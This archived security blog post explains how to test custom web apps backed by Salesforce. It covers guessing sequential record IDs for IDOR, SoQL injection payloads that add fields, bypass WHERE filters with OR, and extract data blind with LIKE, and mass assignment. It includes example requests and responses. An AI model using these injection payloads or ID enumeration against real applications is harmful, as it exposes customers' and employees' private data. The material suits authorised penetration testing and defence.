Hacking Salesforce-backed WebApps

Hacking Salesforce-backed WebApps - Author not stated, blog.hypn.za.net.

- Published: date not stated
- Original: <https://www.hypn.za.net/blog/2022/11/12/Hacking-Salesforce-backed-WebApps/>
- Current location: <https://blog.hypn.za.net/2022/11/12/Hacking-Salesforce-backed-WebApps/>
- Preserved from: https://blog.hypn.za.net/2022/11/12/Hacking-Salesforce-backed-WebApps/ (live) on 2026-08-09
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Salesforce is a cloud-based customer relationship management (CRM) platform used by thousands of companies. With so much of its functionality (like Contact lists, Quotes and Invoices) being applicable to a company's external clients, companies may make their own applications for their clients to use, which then interacts with Salesforce, rather than their clients logging into Salesforce.

This post will cover some things I'be come across in custom applications using Salesforce's API as a backend - this post does **not** deal with "hacking Salesforce" itself.

Identifying a Salesforce app, and Salesforce IDs

Salesforce uses 15 or 18 character long IDs for records, depending on case-safety, such as: `001Do000002LlTAIA0`.

The first three characters of an ID represent the Salesforce object type it's for, with the standard ones being in the `001` - `01Z` range. There may be other prefixes depending on the additional Salesforce apps/plugins installed.

The ID can be split into three sets of 5 characters, and 3 remaining characters... using `001Do000002LlTAIA0` as an example:

- first 5 characters, `001Do` = Object type ("Account") and... an instance identifier?
- second 5 characters, `00000` = reserved
- third 5: characters, `2LlTA` = a unique identifier
- last 3 characters, `IA0` = checksum for case-safe ids

A list of common Object prefixes can be found here and here.

Hunting for IDORs

It's possible developers would think these ids were random/unique enough that no-one would be able to guess them, and fail to implement proper validation which could result in IDOR vulnerabilities.

Assuming you have access to a system talking to Salesforce, and have come across an ID you can access, you can increment/decrement the third set of 5 characters as these are actually sequential to generate possible IDs of records.

Below are Salesforce IDs for "Opportunities", note the 5th and 4th last characters incrementing from `Pm` to `Pz`, then becoming `Q0` incrementing to `Q9`, and continuing to `QC` (and higher):

```
006Do0000028T Pm IAM
006Do0000028T Pn IAM
006Do0000028T Po IAM
...
006Do0000028T Px IAM
006Do0000028T Py IAM
006Do0000028T Pz IAM
006Do0000028T Q0 IAM
006Do0000028T Q1 IAM
006Do0000028T Q2 IAM
...
006Do0000028T Q7 IAM
006Do0000028T Q8 IAM
006Do0000028T Q9 IAM
006Do0000028T QA IA2
006Do0000028T QB IA2
006Do0000028T QC IA2
...
```

(formatting changed for emphasis)

I've hacked together a "salesforce-id-generator" python script which takes in a valid ID and a (positive or negative) number and generates that many sequential IDs from it, eg:

```
./salesforce-id-generator.py 006Do0000028TPmIAM 15
006Do0000028TPnIAM
006Do0000028TPoIAM
006Do0000028TPpIAM
006Do0000028TPqIAM
006Do0000028TPrIAM
006Do0000028TPsIAM
006Do0000028TPtIAM
006Do0000028TPuIAM
006Do0000028TPvIAM
006Do0000028TPwIAM
006Do0000028TPxIAM
006Do0000028TPyIAM
006Do0000028TPzIAM
006Do0000028TPAIA2
006Do0000028TPBIA2
```

The `Pn` to `Pz` values and more are generated :) This list can then be fed into your favourite tool, like Burp Intruder or ffuf to go hunting.

SoQL Injection

Salesforce has "Salesforce Object Query Language" or "SoQL" which is similar to SQL in syntax but with some fundamental differences. These queries are made via an HTTP request to the "Query" resource API endpoint, by the application, as GET requests.

Whether for performance reasons, or to avoid hitting the maximum response size limit, developers may want to limit which record properties are returned from Salesforce. This could result in the company's custom API taking in a parameter (eg: `fields`), and their custom endpoint being re-used for different purposes. A "listing/index" page generally only shows a few columns of data, while a "view record" page generally shows all properties of an object.

Imagine a custom application/API, which allows a Company's clients' employees to login and update their contact details ("Contact" objects in Salesforce). The company's API endpoint might look like:

```
https://api.company.com/Contact?fields=FirstName,LastName,Email&deleted=false
```

The resulting Salesforce API request (deliberately not URL encoded here for readability) to retrieve the list of Contacts may look like:

```
/services/data/v56.0/query/?q=SELECT Id, FirstName, LastName, Email FROM Contact WHERE (AccountId = '001Do0000
```

The returned Salesforce data would look something like:


```
{
   "totalSize": 2,
   "done": true,
   "records": [
      {
         "Id": "003Do000001ZaSGIA0",
         "FirstName": "Rose",
         "LastName": "Gonzalez",
         "Email": "[[email protected]](https://blog.hypn.za.net/cdn-cgi/l/email-protection)"
      },
      {
         "Id": "003Do000001ZaSHIA0",
         "FirstName": "Sean",
         "LastName": "Forbes",
         "Email": "[[email protected]](https://blog.hypn.za.net/cdn-cgi/l/email-protection)"
      }
   ]
}
```


SELECT injection:

If an attacker can manipulate the fields being requested, additional properties and related data can be retrieved. Unlike regular SQL, Salesforce SoQL does not support `UNION`s or `JOIN`s but single relations can be retrieved directly as if they were fields/columns on the "table".

Saleforce's SoQL does not support `SELECT *` syntax, instead `SELECT FIELDS(ALL)` can be used. This will not return related/nested data though, and will result in an error if other fields are selected (eg: if field values can only be added to existing ones).

Related records and their properties, or *their* related records and properties can be fetched as fields. Adding `CreatedBy.Name, CreatedBy.Email, Account.CreatedBy.Name, Account.CreatedBy.Email` fields returns potentially sensitive related information: the email and name of the Company's employees who created the "Contact" record, and the info of the employee who setup the "Account" the Contact belongs to.

The Salesforce SoQL query, from the imagined Comany's API, would now look like:

```
/services/data/v56.0/query/?q=SELECT Id, FirstName, LastName, Email, CreatedBy.Name, CreatedBy.Email, Account.Cr
```

The additional "CreatedBy" and Accont's "Created By" properties are now returned from Salesforce (which may or may not be returned by the Company's API):

```
{
  "totalSize": 2,
  "done": true,
  "records": [
    {
      "Id": "003Do000001ZaSGIA0",
      "FirstName": "Rose",
      "LastName": "Gonzalez",
      "Email": "[[email protected]](https://blog.hypn.za.net/cdn-cgi/l/email-protection)",
      "CreatedBy": {
        "Name": "John Doe",
        "Email": "[[email protected]](https://blog.hypn.za.net/cdn-cgi/l/email-protection)"
      },
      "Account": {
        "CreatedBy": {
          "Name": "Super Admin",
          "Email": "[[email protected]](https://blog.hypn.za.net/cdn-cgi/l/email-protection)"
        }
      }
    },
    {
      "Id": "003Do000001ZaSHIA0",
      "FirstName": "Sean",
      "LastName": "Forbes",
      "Email": "[[email protected]](https://blog.hypn.za.net/cdn-cgi/l/email-protection)",
      "CreatedBy": {
        "Name": "Jack Smith",
        "Email": "[[email protected]](https://blog.hypn.za.net/cdn-cgi/l/email-protection)"
      },
      "Account": {
        "CreatedBy": {
          "Name": "Super Admin",
          "Email": "[[email protected]](https://blog.hypn.za.net/cdn-cgi/l/email-protection)"
        }
      }
    }
  ]
}
```


When a record has multiple related results, a subquery can be performed within the `SELECT` by enclosing it in brackets, and no `WHERE` condition is necessary as it's scoped to the parent record.

By default "Contacts" can have multiple "Notes" linked to them. By adding `(SELECT IsPrivate, Body FROM Contact.Notes)` into the fields, the resulting Salesforce API call would be:

```
/services/data/v56.0/query/?q=SELECT Id, FirstName, LastName, Email, (SELECT IsPrivate, Body FROM Notes) FROM Co
```

Salesforce now returns the nested "Notes" records related to each "Contact", where present.


```
{
   "totalSize": 2,
   "done": true,
   "records": [
      {
         "Id": "003Do000001ZaSGIA0",
         "FirstName": "Rose",
         "LastName": "Gonzalez",
         "Email": "[[email protected]](https://blog.hypn.za.net/cdn-cgi/l/email-protection)",
         "Notes": null
      },
      {
         "Id": "003Do000001ZaSHIA0",
         "FirstName": "Sean",
         "LastName": "Forbes",
         "Email": "[[email protected]](https://blog.hypn.za.net/cdn-cgi/l/email-protection)",
         "Notes": {
            "totalSize": 2,
            "done": true,
            "records": [
               {
                  "IsPrivate": false,
                  "Body": "Very friendly"
               },
               {
                  "IsPrivate": true,
                  "Body": "but smells really bad!"
               }
            ]
         }
      }
   ]
}
```


(so much for "Notes" being private!)

Finding properties and related records of Objects is covered below in the "Useful API Calls" section below.

It seems only directly related data can be retrieved this way, so more interesting deeper-reaching queries like `Contact.Account.Invoices` result in an error: `First SObject of a nested query must be a child of its outer query`.

WHERE injection

In our imaginary API call above we have a `deleted` query param creating an `AND isDeleted = false` WHERE clause in the SoQL sent to Salesforce, with it and the `AccountId =` being in brackets. If brackets are used for the WHERE query, an "OR" condition could be injected potentially bypassing the intended filters.

Changing the `&deleted=false` query string sent to the Company's API, if `deleted=false) OR (isDeleted = false` is sent, and insufficient validation is in place, the resulting SoQL query would be:

```
/services/data/v56.0/query/?q=SELECT Id, FirstName, LastName, Email, AccountId FROM Contact WHERE (AccountId = '
```

This causes all (not deleted) Contacts to be returned:

```
{
  "totalSize": 20,
  "done": true,
  "records": [
    {
      "Id": "003Do000001ZaSKIA0",
      "FirstName": "Andy",
      "LastName": "Young",
      "Email": "[[email protected]](https://blog.hypn.za.net/cdn-cgi/l/email-protection)",
      "AccountId": "001Do000002LlTBIA0"
    },
    {
      "Id": "003Do000001ZaSSIA0",
      "FirstName": "Arthur",
      "LastName": "Song",
      "Email": "[[email protected]](https://blog.hypn.za.net/cdn-cgi/l/email-protection)",
      "AccountId": "001Do000002LlTDIA0"
    },
    {
      "Id": "003Do000001ZaSTIA0",
      "FirstName": "Ashley",
      "LastName": "James",
      "Email": "[[email protected]](https://blog.hypn.za.net/cdn-cgi/l/email-protection)",
      "AccountId": "001Do000002LlTGIA0"
    },
    // ... more records
  ]
}
```


(The `AccountId` field has been included to show that these are Contacts outside of the initial AccountId filter condition)

If the `WHERE` condition does NOT make use of brackets and has more than one condition (so an `AND` is present), injecting an `OR` results in an error of: `unexpected token: OR` . Of course if there is no `AND` and `OR` can just be added on.

Blind injection

If the returned fields can't be altered, as with regular SQL Injections a "blind" attack can be used (eg: to get `CreatedBy.email`).

Setting the `deleted` query parameter to `deleted=false AND CreatedBy.Email LIKE 'a%'` produces the SoQL query:

```
/services/data/v56.0/query/?q=SELECT Id, FirstName, LastName, Email, AccountId FROM Contact WHERE (AccountId = '
```

Which won't return anything yet:


```
{
  "totalSize": 0,
  "done": true,
  "records": []
}
```


But looping over letters in our blind injection to `j%` (for records created by `[[email protected]]` (https://blog.hypn.za.net/cdn-cgi/l/email-protection)) returns a row seen above:


```
{
  "totalSize": 1,
  "done": true,
  "records": [
    {
      "Id": "003Do000001ZaSGIA0",
      "FirstName": "Rose",
      "LastName": "Gonzalez",
      "Email": "[[email protected]](https://blog.hypn.za.net/cdn-cgi/l/email-protection)",
    }
  ]
}
```


A couple more nested loops and useful data gets uncovered.

Mass Assignment

As with other web apps, the Company's API might not protect against mass assignment - allowing more properties to be set than intended.

Creating a record in Salesforce via their REST API involves sending a JSON payload with the keys and values of the record. If an attacker is able to specify additional properties - such as `AccountId` - the later occurring properties in the payload are used by Salesforce, potentially allowing an attacker to overwrite intended values set by the app.

Useful API Calls

The best way to learn about Salesforce is playing with your own instance and the Salesforce API. You can sign up for a free developer instance using the link further below. These APIs below are useful for exploring the data in a Salesforce instance.

Authenticating to get a SessionID

The easiest way I've found to auth with the Salesforce API (once you have an instance + login) is using a SOAP endpoint and skipping the OAUTH process:

```
POST /services/Soap/u/35.0 HTTP/1.1
Host: login.salesforce.com
Content-Type: text/xml
SOAPAction: anything
Accept-Encoding: gzip, deflate
Content-Length: 456
Cookie: BrowserId=Ay3-ml-iEe2GCHd2t1hcOQ
Connection: keep-alive

<?xml version="1.0" encoding="utf-8" ?>
<env:Envelope xmlns:xsd=" http://www.w3.org/2001/XMLSchema "
   xmlns:xsi=" http://www.w3.org/2001/XMLSchema-instance "
   xmlns:env="http://schemas.xmlsoap.org/soap/envelope/">
 <env:Body>
   <n1:login xmlns:n1="urn:partner.soap.sforce.com">
     <n1:username>{[[email protected]](https://blog.hypn.za.net/cdn-cgi/l/email-protection)}</n1:username>
     <n1:password>{YOUR_PASSWORD}{YOUR_SECURITY_TOKEN}</n1:password>
   </n1:login>
 </env:Body>
</env:Envelope>
```

That should return XML (yuck) with a `sessionId` which you'll need to authenticate your API calls:

```
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns="urn:partner.soap.sforce.co
<soapenv:Body>
<loginResponse>
<result>
<metadataServerUrl>https://YOUR_INSTANCE.my.salesforce.com/services/Soap/m/35.0/00DDo000000H5bV</metadat
<passwordExpired>false</passwordExpired>
<sandbox>false</sandbox>
<serverUrl>https://YOUR_INSTANCE.my.salesforce.com/services/Soap/u/35.0/00DDo000000H5bV</serverUrl>
<sessionId>00CDo000000H1bV!AR6AQPIb1_chdYz8W_..._EL5PtJSDley2giRk1nRf</sessionId>
<!-- ... more xml tags -->
```

Discovering Objects

The `/services/data/v56.0/sobjects/` endpoint list the objects in the Salesforce account. These could be built in, custom objects, or objects from other add ons.

```
GET /services/data/v56.0/sobjects/ HTTP/1.1
Host: YOUR_INSTANCE.my.salesforce.com
Content-Type: application/json
Authorization: Bearer {SESSION_ID}
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
```

The response below had been heavily cut down, but we can see the `keyPrefix` which is at the start of Contact IDs, as well as some API endpoints that give additional information about the Object:

```
{
  "encoding": "UTF-8",
  "maxBatchSize": 200,
  "sobjects": [
    {
      "custom": false,
      "keyPrefix": "003",
      "name": "Contact",
      "queryable": true,
      // ... more properties
      "urls": {
        "compactLayouts": "/services/data/v56.0/sobjects/Contact/describe/compactLayouts",
        "rowTemplate": "/services/data/v56.0/sobjects/Contact/{ID}",
        "approvalLayouts": "/services/data/v56.0/sobjects/Contact/describe/approvalLayouts",
        "listviews": "/services/data/v56.0/sobjects/Contact/listviews",
        "describe": "/services/data/v56.0/sobjects/Contact/describe",
        "quickActions": "/services/data/v56.0/sobjects/Contact/quickActions",
        "layouts": "/services/data/v56.0/sobjects/Contact/describe/layouts",
        "sobject": "/services/data/v56.0/sobjects/Contact"
      }
    },
    // ... more objects
  ]
}
```

From the previous request we can see that `/describe` can be added to an Object endpoint to learn more about it, for Contacts:

```
GET /services/data/v56.0/sobjects/Contact/describe HTTP/1.1
Host: YOUR_INSTANCE.my.salesforce.com
Content-Type: application/json
Authorization: Bearer {SESSION_ID}
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
```

Once again far more data is returned than can be shown here, but a stripped down example of some of the returned data shows the "Contact" fields we've seen above. The `childRelations` and `fields` are the particularly interesting values:

```
{
  "childRelationships": [
    {
      "cascadeDelete": true,
      "childSObject": "Note",
      "deprecatedAndHidden": false,
      "field": "ParentId",
      "junctionIdListNames": [],
      "junctionReferenceTo": [],
      "relationshipName": "Notes",
      "restrictedDelete": false
    },
    // ... more properties
  ],
  "fields": [
    {
      "name": "Id",
      "type": "id",
      "unique": false,
      "updateable": false,
      // ... more properties
    },
    {
      "name": "IsDeleted",
      "type": "boolean",
      "unique": false,
      "updateable": false,
      // ... more properties
    },
    {
      "name": "AccountId",
      "sortable": true,
      "type": "reference",
      "unique": false,
      "updateable": true,
      // ... more properties
    },
    {
      "name": "LastName",
      "type": "string",
      "unique": false,
      "updateable": true,
      // ... more properties
    },
```

```
      {
        "name": "FirstName",
        "type": "string",
        "unique": false,
        "updateable": true,
        // ... more properties
      },
    ],
    "name": "Contact",
    // ... more properties
}
```

Discovering IDs

Fetching an Object's endpoint without the `/describe` returns a smaller response with some Object details, but a bit more usefully links to recent items of that type:

(eg: GET to `https://YOUR_INSTANCE.salesforce.com/services/data/v56.0/sobjects/Contact`)

```
{
    "objectDescribe": {
      // ... properties
    },
    "recentItems": [
      {
        "Id": "003Do000001ZaSGIA0",
        "Name": "Gonzalez, Rose"
      },
      {
        "Id": "003Do000001ZaSIIA0",
        "Name": "Rogers, Jack"
      }
    ]
}
```

These IDs can be appended to the url to fetch the full record, eg:
`https://YOUR_INSTANCE.salesforce.com/services/data/v56.0/sobjects/Contact/003Do000001ZaSGIA0`

```
{
  "Id": "003Do000001ZaSGIA0",
  "IsDeleted": false,
  "AccountId": "001Do000002LlT8IAK",
  "LastName": "Gonzalez",
  "FirstName": "Rose",
  "Name": "Rose Gonzalez",
  "Email": "[[email protected]](https://blog.hypn.za.net/cdn-cgi/l/email-protection)",
  "CreatedById": "005Do000000HwU5IAK",
  // ... more properties
}
```


Useful Links

Create a Salesforce developer instance

Getting your Security Token

SoQL tutorial/crash-course

SoQL limits and restrictions) (eg: maximum number of rows that can be returned, maximum length of SoQL statements, relationship query limits)